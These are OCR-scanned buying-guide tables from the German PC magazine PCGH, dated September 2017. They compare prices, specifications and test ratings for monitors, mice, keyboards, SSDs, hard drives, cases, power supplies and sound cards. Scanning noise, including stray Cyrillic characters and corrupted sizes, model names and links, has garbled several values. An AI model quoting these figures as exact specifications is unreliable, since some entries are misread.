Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
"NEU ре! Alienware AW2518H | Ca. € 550,- 24,5 Zoll 240 Hertz 2,3 ms 16 ms bis 447 cd/m? N-Pane G-Sync 1,60 10/2017 | www.pcgh.de/preis/1675342 
Asus MG248Q Ca. € 320,- 24 Zo 144 Hertz 5 ms : 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 
ПТУ Acer XF240H bmjdpr Ca. € 250,- 24 Zo 144 Hertz 5 ms - 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 430,- 31,5 Zoll 144 Hertz 12 ms 11 ms bis 288 cd/m? VA-Pane Freesync 1,76 | 05/2017 | www.pcgh.de/preis/1585204 
ПТМ) AOC G2460PF Ca. € 230,- 24 Zo 144 Hertz 6 ms 2 156 bis 358 cd/m2 N-Pane Freesync 177 | 05/20 .pcgh.de/preis/1318972 
Asus VG278HV Ca. € 380,- 27 Zo 144 Hertz 5 ms - 58 bis 305 cd/m? N-Panel - 1,79 05/20 pcgh.de/preis/1336350 
Asus ROG Swift PG258Q | Ca. € 555,- 24,5 Zoll 240 Hertz 1ms 15 ms bis 488 cd/m? N-Pane G-Sync 1,93 10/201 .pcgh.de/preis/1451609 
WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
Viewsonic XG2703-GS Ca. € 800,- 21 Zo 165 Hertz - 12 ms bis 355 cd/m? PS-Panel G-Sync 1,56 | 04/2017 | www.pcgh.de/preis/1504306 
AOC Agon AG241QG Ca. € 500,- 24 Zo 165 Hertz = 13 ms bis 450 cd/m? N-Pane G-Sync 1,74 04/2017 | www.pcgh.de/preis/1476116 
It Asus MG279Q Ca. € 560,- 2770 144 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/1215454 
Benq XL2730Z Ca. € 600,- 2770 144 Hertz 8ms 8 ms 52 bis 353 cd/m2 N-Panel Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 
Acer T272HUL bmidpcz Ca. € 540,- 21 Zo 60 Hertz 5 ms 19 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 
Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR 
iyama X4071UHSU-B1 Ca. € 560,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |— 1,81 11/2016 | www.pcgh.de/preis/1362847 
IT Asus PB287Q Ca. € 390,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? TN-Panel - 1,87 07/2014 | www.pcgh.de/preis/1094194 
Asus PB279Q Ca. € 600,- 27 Zo 60 Hertz 6 ms 9 ms 54 bis 266 cd/m? IPS-Panel _ 2,04 01/2015 | www.pcgh.de/preis/1123437 
LG 27MU67-B Ca. € 590,- 2770 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? IPS-Pane Freesync 212 09/2015 | www.pcgh.de/preis/1273811 
21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
LG 38UC99-W Са. € 1.290,- | 3.840 x 1.600 | 75 Hertz 7ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 
Asus ROG PG348Q Са. € 1.080,- |3.440x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m? IPS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 
LG 34UC98-W Ca. € 880,- 3.440x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? IPS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 
Samsung S34E790C Ca. € 690,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |— 1,76 04/2016 | www.pcgh.de/preis/1195794 
Asus MX34VQ Ca. € 750,- 3.440 x 1.440 | 100 Hertz 12 ms 9 ms bis 299 cd/m? VA-Pane Freesync 1,83 08/2017 | www.pcgh.de/preis/1565011 
Modell Preis Kabellänge | Tasten Abtastung Auflösung Gewicht Ergonomie | ТШТ] PCGH-Preisvergleich 
Roccat Nyth Са. € 110,- | 180 cm 16 + Scrollrad Optisch (Laser) | 12.000 Dpi 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 
Roccat Leadr Ca. € 150,- | Schnurlos 12 4 Scrollrad Optisch (LED 2.000 Dpi 134 Gramm Sehr gu 1,22 08/2017 | www.pcgh.de/preis/1558254 
Razer Lancehead Са. € 150,- | Schnurlos | 8 + Scrollrad Optisch (Laser) | 16.000 Dpi 126 Gramm Sehr gu 1,27 | 08/2017 | www.pcgh.de/preis/1615980 
Roccat Tyon Ca. € 100,- | 180 cm 12 + Scrollrad Optisch (Laser) | 8.200 Dpi 126 Gramm Sehr gu 132 12/2014 | www.pcgh.de/preis/1154844 
ШТУ Asus ROG Gladius II Ca.€80,- | 200/100 cm | 6 + Scrollrad Optisch (LED 2.000 Dpi 110 Gramm Sehr gu 1,32 04/2017 | www.pcgh.de/preis/1574884 
Logitech G900 Chaos Spectrum | Са. € 115,- | Schnurlos 10 + Scrollrad Optisch (LED 2.000 Dpi 107 Gramm Sehr gu 1:33 07/2016 | www.pcgh.de/preis/1414931 
Razer Mamba 2015 Са. € 140,- | Schnurlos 6 + Scrollrad Optisch (LED 6.000 Dpi 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 
Razer Mamba Tournament Edition | Ca. € 75,- | 210 cm 6 + Scrollrad Optisch (Laser) | 16.000 Dpi 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/1310517 
Asus ROG Pugio Са. € 75,- | 200 cm 7,5 oder 3 + Scrollrad | Optisch (LED) | 7.200 Dpi 103 Gramm Sehr gu 1,40 07/2017 | www.pcgh.de/preis/1643056 
Roccat Kone EMP Ca. € 75,- 180 cm 6 + Scrollrad Optisch (LED 2.000 Dpi 116 Gramm Sehr gu 1,42 04/2017 | www.pcgh.de/preis/1558194 
ТТМ) 6403 Prodigy Wireless Ca.€80,- | Schnurlos 5 + Scrollrad Optisch (LED 2.000 Dpi 107 bis 117 Gramm | Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 
Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher ТҮ PCGH-Preisvergleich 
Roccat Isku+ Force FX Са. Є 95,- | Voll, RGB-Farbraum _ a (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 
Razer Ornata Chroma Ca. € 95,- RGB-Einzeltastenbel. - а (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 
YUm y Asus Cerberus Са. Є 50,- | Voll, zwei Farben _ a (integriert) 6 аЛа (k. A.) 1,86 10/2016 | www.pcgh.de/preis/1338736 
Logitech G213 Prodigy Са. Є 55,- | Voll, RGB-Farbraum _ a (integriert) 10 аЛа (ein Profil) 1,88 10/2017 | www.pcgh.de/preis/1503355 
Sharkoon Skiller Pro+ Са. Є 35,- | Voll, sieben Farben _ a (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher MIGATI PCGH-Preisvergleich 
Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,26 09/2016 | www.pcgh.de/preis/1388126 
Razer Black Widow Chroma V2 Са. € 185,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/а (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 
Corsair K95 Platimun RGB Ca. € 180,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed RGB | Ch. MX Speed КСВ | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/1572533 
Creative SBX Vanguard K08 Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0 Creative/Omron PRES | Creative/Omron PRES | Ja/ja (k. A.) 1,44 10/2017 | www.pcgh.de/preis/1560777 
Corsair Strafe RGB MX Silent Са. € 150,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 
Ir T Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black a/ja (k. A.) 1,45 11/2015 | www.pcgh.de/preis/1258778 
Tt esports Poseidon Z RGB Ca.€95,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 
Patriot Viper V760 Ca. € 125,- | RGB-Einzeltastenbel. 1x USB 2.0 Kailh RGB Brown Kailh RGB Brown аЛа (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/1539759 
IS EP Lioncast LK300 RGB Са. € 115,- | RGB-Einzeltastenbel. Keine Kailh RGB Red Lioncast LK300 RGB | Ja/ja (k. A.) 1,50 10/2017 | www.pcgh.de/preis/1659898 
Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | | Ja/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1549791 
Roccat Suora FX Ca. € 135,- | RGB-Einzeltastenbel. Keine TIC RGB Brown TIC RGB Brown alja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 
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SERVICE | Einkaufsführer 


Einkaufsführer 5505 & Festplatten 


Preise: Stand 20.09.2017 


(ИТИ PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


НҤїйшкге 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 90,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1 194261 
Adata Ultimate SU900 Са. Є 110,- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 05/2017 | www.pcgh.de/preis/1563414 
Adata SX930 Са. Є 105,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 | 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca. € 95,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1368843 
Sandisk Ultra II Ca. € 85,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 125,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Ca. € 85,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. € 160,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba 0300 Pro Са. € 230,- |477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Са. € 260, | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
Sandisk Ultra II Са. € 145,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti N. verfügbar | 466 GiB/480 GB 528/493 MB/s 15.000 85 Sekunden | 5 Jahre 2,211 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Ca. € 170,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD Ca. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. Є 155,- | 466 GiB/480 GB 528/480 MB/s 22.000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in 
Samsung SSD 850 Pro Ca.€430,- |954GiB/1.024GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.350,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba 0300 Pro Са. € 400,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Ca.€410,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Са. Є 270,- |932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 505,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca. € 375,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
0CZ Vector 180 Са. € 400,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 | 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 | 08/2015 | www.pcgh.de/preis/1215186 


* L/S: Lesen und Schreiben | ** 4k- 


Random-Write-Operationen pro Sekunde 


Solid State Drives (M.2/PCle 3.0 x4) 


Bis 512 Gigabyte Preis Kapazitát bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Toshiba ОС7 RD400 Са. € 270,- |477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 (E TTE 
Corsair MP500 Ca. € 240,- | 447 GiB/480 GB 2.399/1.322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 

PNY CS2030 Са. Є 135,- | 238 GiB/240 GB 2.436/1.231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 (Tr Tiri 
Zotac Sonix Ca.€310,- |477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 

Kingston Hyper X Predator Ca.€320,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 

Adata 5Х8000 Ca.€215- | 447 GiB/512 GB 1.112/1.110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 | 05/2017 | www.pcgh.de/preis/1532201 

Intel SSD 600p Са. € 170,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 | 05/2017 | www.pcgh.de/preis/1491162 

Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Samsung SSD 960 Pro Са. Є 520,- |954GiB/1.024GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 

Samsung SSD 960 Evo Ca.€415- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79 | 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Ca. € 830,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k- 


Festplatten (3,5 Zoll) 


Random-Write-Operationen pro Sekunde 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Seagate Ironwolf NAS HDD Ca. € 330,- | 9.313 GiB/10.000 GB | 7.200 0,6/1,1 Sone 14,8/7,23 ms 188/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 ФТ 
Toshiba N300 Ca. € 195,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 12,0/13,4 ms 167/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 

Seagate Archive HDD 8TB Ca. € 205,- | 7.452 GiB/8.000 GB | 5.900 0,5/0,6 Sone 13,5/14,0 ms 143/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 

Altes Testsystem 

Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Toshiba DTO1ACA300 Ca.€75,- | 2.794 GiB/3.000 GB | 7.200 0,3/0,6 Sone 15,2/15,4 ms* 154/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 ТҮР 
Western Digital Red WD30EFRX Ca. € 100,- | 2.794 GiB/3.000 GB | 5.400 0,2/0,3 Sone 19,9/21,0 ms* 112/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 

Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Western Digital Black WD4003FZEX Ca. € 270,- | 3.726 GiB/4.000 GB | 7.200 0,5/0,9 Sone 12,5/12,9 ms 145/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 

HGST Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 0,5/0,6 Sone 16,3/14,8 ms* 131/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 

Western Digital Red WD40EFRX Ca. € 130,- | 3.726 GiB/4.000 GB | 5.400 0,4/0,5 Sone 16,6/18,5 ms 119/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 

Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in 

Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 12,5/4,3 ms* 167/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 

HGST Ultrastar He6 6TB Ca. € 380,- | 5.589 GiB/6.000 GB | 7.200 0,1/1,6 Sone 12,6/5,8 ms 143/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 

Western Digital Red WD60EFRX Ca. € 205,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 15,8/18 ms* 127/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer | SERVICE 


Einkaufsführer Gehäuse, Netzteile & Sound „оо 


CETTE RT PREIS-LEISTUNGS-TIPP [EL ET SPAR-TIPP 


Midi-Gehäuse GN Preis Lüfterplätze Enthaltene Lüfter Butt eiüfrontal] ны о. ШААП" Test in PCGH-Preisvergleich 
Sher schräg (12 visv) Innenraum***) 
"NEU ве quiet Dark Base 900 Pro | Midi-Tower | Ca. € 250,- | 9 x 140, 2 x 120 mm 3 x 140 mm 1,0/0,8 Sone*** 65/69/37 °C 1,58*** | 11/2017 | www.pcgh.de/preis/1680701 
Aerocool XPredator II Big-Tower | Ca. € 150,- | 6 x 140 mm 5 x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 
УМЕО EVGA DG-87 Big-Tower | Ca. € 250,- | 8 x 140 mm 6 x 140 mm 1,7/1,7 Sone*** 62/69/35 °C 1,78*** | 11/2017 | www.pcgh.de/preis/1435421 
TT Ty Sharkoon BW9000-W Midi-Tower | Са. € 70,- | 4 x 140 mm, 1 x 120 mm 2 x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °С** 1,84 09/2016 | www.pcgh.de/preis/1354897 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °С“ 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6 x 140 mm 4 x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5 x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Са. € 130,- | 4 x 140 mm, 1 х 120 mm 2 x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 ?C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Са. Є 95,- | 3 x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °C* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Са. € 110,- | 4 x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °С** 1,94 09/2016 | www.pcgh.de/preis/1462226 
) ñríkunre Zeit Mastercase Maker 5 Midi-Tower | Ca. € 150,- | 6 x 140/2 x 120 mm 3x 140 1,2/1,2 Sone*** 66/69/39 °C 1,95*** | 11/2017 | www.pcgh.de/preis/1415977 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9 x 140/120 mm 2 x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 140,- | 5 x 140 mm oder 7 x 120 mm 3 x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
NEU n Win 509 Big-Tower | Ca. € 180,- | 2 x 140 mm, 9 x 120 mm Keine 1,5/1,5 Sone*** 65/70/31 °C 2,20*** | 11/2017 | www.pcgh.de/preis/1507129 
"NEU, Thermaltake View 71 TG Ed. | Big-Tower | Ca. € 180,- | 6 x 140 mm, 2 x 120 mm 2 x 140 mm 1,8/1,8 Sone*** 69/68/29 °C 2,25*** | 11/2017 | www.pcgh.de/preis/1674631 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core i7-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


*** Neues Test-/Wertungssystem (siehe PCGH 02/2017)/Lüfterbestückung: 3 x 140 mm (Be quiet Silent Wings 2) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Be quiet Dark Power Pro 11 550W | Ca. € 135,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Са. € 135,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
ТТ Cooler Master V550 Ca. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 | www.pcgh.de/preis/1325567 
Bitfenix Whisper M Ca.€90- | 4 x 6+2-Pin (68 cm) 550 Wa 0,1/0,1/0,1/0,1/0,5 Sone | 88/92/93/92/91 % 1,54 07/2017 | www.pcgh.de/Fluesterleise 
XFX TS 550 Gold Ca. € 65,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 
Cougar GX-S 550 Са. €70,- | 2 х 6+2-Pin (60-70 ст) 550 Wa 0,3/0,3/0,3/0,3/2,6 Sone | 85/90/92/91/90 96 2,06 07/2017 | www.pcgh.de/silberloewe 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Са. € 150,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 125,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 125,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung -12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Corsair HX1000i Ca. € 200,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 170,- | 4 x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 135,- | 2x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate a See Ge e Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster ZxR Ca. 190,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 
Asus Xonar Essence STX 2 7.1 | Ca. 220,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 
Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanäle/Abtastrate ne a Pigs UR m Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 айа Ges. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 
M Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A аа Integriertes Mikrofon 2,18 05/2015 | www.pcgh.de/preis/1003999 
